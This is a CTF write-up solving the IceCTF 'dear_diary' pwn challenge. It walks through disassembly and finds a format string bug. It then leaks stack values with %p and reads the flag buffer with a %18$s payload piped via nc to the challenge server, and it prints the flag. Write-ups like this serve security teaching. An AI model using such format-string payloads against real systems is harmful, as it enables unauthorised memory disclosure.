IceCTF Pwn - dear_diary Writeup
This challenge is part of IceCTF - a wonderful jeopardy style CTF event organized by the Reykjavík University for a span of 15 long days. Had a very good experience of participating in a good CTF after a long time. I will be posting writeups on some of the interesting challenges, I came across.
Here is the challenge file - dear_diary with
md5sum : 45ecfd320d3b8236d3adece3041edb0f
Running file
on dear_diary
shows
dear_diary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a73393a21174b63ecc03cfec0e4e6342d9269ea4, not stripped
So, we have an unstripped x86 elf. Should be easy enough.
There is a function call to flag()
as main()
starts executing. This looks interesting. Disassembling flag()
we can observe that
Dump of assembler code for function flag:
0x0804863d <+0>: push ebp
0x0804863e <+1>: mov ebp,esp
0x08048640 <+3>: sub esp,0x28
0x08048643 <+6>: mov eax,gs:0x14
0x08048649 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0804864c <+15>: xor eax,eax
0x0804864e <+17>: mov DWORD PTR [esp+0x4],0x0
0x08048656 <+25>: mov DWORD PTR [esp],0x8048940
0x0804865d <+32>: call 0x8048500 <open@plt>
0x08048662 <+37>: mov DWORD PTR [ebp-0x10],eax
0x08048665 <+40>: mov DWORD PTR [esp+0x8],0x100
0x0804866d <+48>: mov DWORD PTR [esp+0x4],0x804a0a0
0x08048675 <+56>: mov eax,DWORD PTR [ebp-0x10]
0x08048678 <+59>: mov DWORD PTR [esp],eax
0x0804867b <+62>: call 0x8048480 <read@plt>
0x08048680 <+67>: mov eax,DWORD PTR [ebp-0xc]
0x08048683 <+70>: xor eax,DWORD PTR gs:0x14
0x0804868a <+77>: je 0x8048691 <flag+84>
0x0804868c <+79>: call 0x80484c0 <__stack_chk_fail@plt>
0x08048691 <+84>: leave
0x08048692 <+85>: ret
End of assembler dump.
At <flag+48>
, the second argument to the read
syscall is passed on to the stack. The address is from data
section. The flag is opened and read to an address in data
section.
There is also add_entry()
and print_entry()
which reads into memory and writes bytes which writes from memory respectively. There is no chance of a direct buffer overflow, since all the function epilogue consists of a call to __stack_chk_fail()
.
There is something fishy in add_entry()
. Below is the disassembly from radare, after analysis.
Visual code analysis manipulation
╒ (fcn) sym.add_entry 142
│ ; var int local_1ch @ ebp-0x1c
│ ; var int local_ch @ ebp-0xc
│ ; arg int arg_8h @ ebp+0x8
│ ; var int local_4h @ esp+0x4
│ ; var int local_8h @ esp+0x8
│ ; CALL XREF from 0x08048853 (sym.main)
│ 0x08048693 push ebp
│ 0x08048694 ebp = esp
│ 0x08048696 esp -= 0x28
│ 0x08048699 eax = dword [ebp + arg_8h] ; [0x8:4]=-1 ; 8
│ 0x0804869c dword [ebp - local_1ch] = eax
│ 0x0804869f eax = dword gs:[0x14] ; [0x14:4]=-1 ; 20
│ 0x080486a5 dword [ebp - local_ch] = eax
│ 0x080486a8 eax = 0
│ 0x080486aa dword [esp] = str.Tell_me_all_your_secrets: ; [0x804894b:4]=0x6c6c6554 LEA str.Tell_me_all_your_secr
│ 0x080486b1 sym.imp.printf ()
│ 0x080486b6 eax = dword [obj.stdout__GLIBC_2.0] ; [0x804a080:4]=0 LEA obj.stdout__GLIBC_2.0 ; obj.stdout_
│ 0x080486bb dword [esp] = eax
│ 0x080486be sym.imp.fflush ()
│ 0x080486c3 eax = dword [obj.stdin__GLIBC_2.0] ; [0x804a060:4]=0 LEA obj.stdin__GLIBC_2.0 ; obj.stdin__G
│ 0x080486c8 dword [esp + local_8h] = eax
│ 0x080486cc dword [esp + local_4h] = 0x100 ; [0x100:4]=-1 ; 256
│ 0x080486d4 eax = dword [ebp - local_1ch]
│ 0x080486d7 dword [esp] = eax
│ 0x080486da sym.imp.fgets ()
│ 0x080486df dword [esp + local_4h] = 0x6e ; [0x6e:4]=-1 ; 'n' ; 110
│ 0x080486e7 eax = dword [ebp - local_1ch]
│ 0x080486ea dword [esp] = eax
│ 0x080486ed sym.imp.strchr ()
│ 0x080486f2 if (eax == eax
│ ┌─< 0x080486f4 isZero 0x804870e)
│ │ 0x080486f6 dword [esp] = str.rude_ ; [0x8048966:4]=0x65647572 LEA str.rude_ ; "rude!" @ 0x
│ │ 0x080486fd sym.imp.puts ()
│ │ 0x08048702 dword [esp] = 1
│ │ 0x08048709 sym.imp.exit ()
│ └─> 0x0804870e eax = dword [ebp - local_ch]
│ 0x08048711 eax ^= dword gs:[0x14]
│ ┌─< 0x08048718 isZero 0x804871f)
│ │ 0x0804871a sym.imp.__stack_chk_fail ()
│ └─> 0x0804871f
╘ 0x08048720
At 0x080486ed
, strchr()
is called on the input string after fgets()
to check if there is any occurrence of byte 0x6e
which is the character n
. If present, the program terminates with an exit()
call. This might give us a clue that this could be vulnerable to format string vulnerability. Because, “%n
” can be used to do arbitrary writes in required memory locations.
Looking at the disassembly of print_entry()
confirms that there is indeed a format string vulnerability.
There is a printf()
call which takes only one parameter and that is the user supplied input in the add_entry()
function. First, attempt to leak values in stack.
Running
echo -ne '1\nAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p \n2\n3\n' | ./dear_diary.new | sed '10!d'
results in
> AAAA0x6e 0xf7e2bed5 0xffffbda8 0xffffd1a8 (nil) 0xa 0x24ef4600 0xf7fae000 0xf7fae000 0xffffd1b8 0x804888c 0xffffbda8 0x4 0xf7fae5a0 (nil) (nil) 0x1 0x41414141 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520
The 18th supposed argument is 0x41414141
, which marks the starting of the stack (AAAA%p %p...
). So, we can pass an address (of the flag in data
) at the starting of the buffer and %s
the 18th argument.
Little endian notation of the address 0x0804a0a0
is \xa0\xa0\x04\x08
. And we can choose the nth argument in the format string to parse by $
notation. So, %18$s
will print the string present in the address pointed by the 18th argument. So, pushing our final payload,
echo -ne '1\n\xa0\xa0\x04\x08%18$s\n2\n3\n' | nc diary.vuln.icec.tf 6501
which gives us
-- Diary 3000 --
1. add entry
2. print latest entry
3. quit
> Tell me all your secrets:
1. add entry
2. print latest entry
3. quit
> ��IceCTF{this_thing_is_just_sitting_here}
1. add entry
2. print latest entry
3. quit
>
Successfully pwned :) and got the flag as
IceCTF{this_thing_is_just_sitting_here}